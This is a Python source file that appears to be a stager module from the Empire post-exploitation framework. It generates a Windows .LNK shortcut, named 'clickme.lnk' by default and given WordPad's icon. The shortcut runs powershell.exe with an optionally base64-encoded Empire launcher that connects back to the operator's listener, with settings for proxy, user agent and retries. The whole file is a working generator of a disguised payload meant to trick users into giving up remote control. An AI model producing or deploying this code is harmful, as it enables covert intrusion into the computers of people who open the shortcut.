from __future__ import print_function

from builtins import object

from empire.server.common import helpers, pylnk


class Stager(object):
    def __init__(self, mainMenu, params=[]):

        self.info = {
            "Name": "LNKLauncher",
            "Author": ["@theguly"],
            "Description": "Create a .LNK file that launches the Empire stager.",
            "Background": False,
            "OutputExtension": None,
            "OpsecSafe": False,
            "MinPSVersion": "2",
            "Comments": [
                "http://windowsitpro.com/powershell/working-shortcuts-windows-powershell",
                "http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html",
                "https://github.com/samratashok/nishang",
                "http://blog.trendmicro.com/trendlabs-security-intelligence/black-magic-windows-powershell-used-again-in-new-attack/",
                "lnk generation code ripped from pylnk library https://sourceforge.net/p/pylnk/home/Home/",
            ],
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            "Listener": {
                "Description": "Listener to generate stager for.",
                "Required": True,
                "Value": "",
            },
            "StagerRetries": {
                "Description": "Times for the stager to retry connecting.",
                "Required": False,
                "Value": "0",
            },
            "OutFile": {
                "Description": "Filename that should be used for the generated output.",
                "Required": True,
                "Value": "clickme.lnk",
            },
            "PowershellPath": {
                "Description": "Path to powershell.exe",
                "Required": True,
                "Value": "C:\windows\system32\WindowsPowershell\\v1.0\powershell.exe",
            },
            "Icon": {
                "Description": "Path to LNK icon.",
                "Required": False,
                "Value": "C:\program files\windows nt\\accessories\wordpad.exe",
            },
            "LNKComment": {
                "Description": "LNK Comment.",
                "Required": False,
                "Value": "",
            },
            "Base64": {
                "Description": "Switch. Base64 encode the output.",
                "Required": True,
                "Value": "True",
                "SuggestedValues": ["True", "False"],
                "Strict": True,
            },
            "UserAgent": {
                "Description": "User-agent string to use for the staging request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
            "Proxy": {
                "Description": "Proxy to use for request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
            "ProxyCreds": {
                "Description": "Proxy credentials ([domain\]username:password) to use for request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]["Value"] = value

    def generate(self):

        # extract all of our options
        language = "powershell"
        listener_name = self.options["Listener"]["Value"]
        base64 = self.options["Base64"]["Value"]
        user_agent = self.options["UserAgent"]["Value"]
        proxy = self.options["Proxy"]["Value"]
        proxy_creds = self.options["ProxyCreds"]["Value"]
        stager_retries = self.options["StagerRetries"]["Value"]
        lnk_comment = self.options["LNKComment"]["Value"]
        powershell_path = self.options["PowershellPath"]["Value"]
        lnk_name = self.options["OutFile"]["Value"]
        lnk_icon = self.options["Icon"]["Value"]

        encode = False
        if base64.lower() == "true":
            encode = True

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(
            listenerName=listener_name,
            language=language,
            encode=encode,
            userAgent=user_agent,
            proxy=proxy,
            proxyCreds=proxy_creds,
            stagerRetries=stager_retries,
        )
        launcher = launcher.replace("powershell.exe ", "", 1)

        if launcher == "":
            print(helpers.color("[!] Error in launcher command generation."))
            return ""
        else:
            link = pylnk.for_file(
                powershell_path, launcher, lnk_name, lnk_icon, lnk_comment
            )
            code = link.ret()

        return code
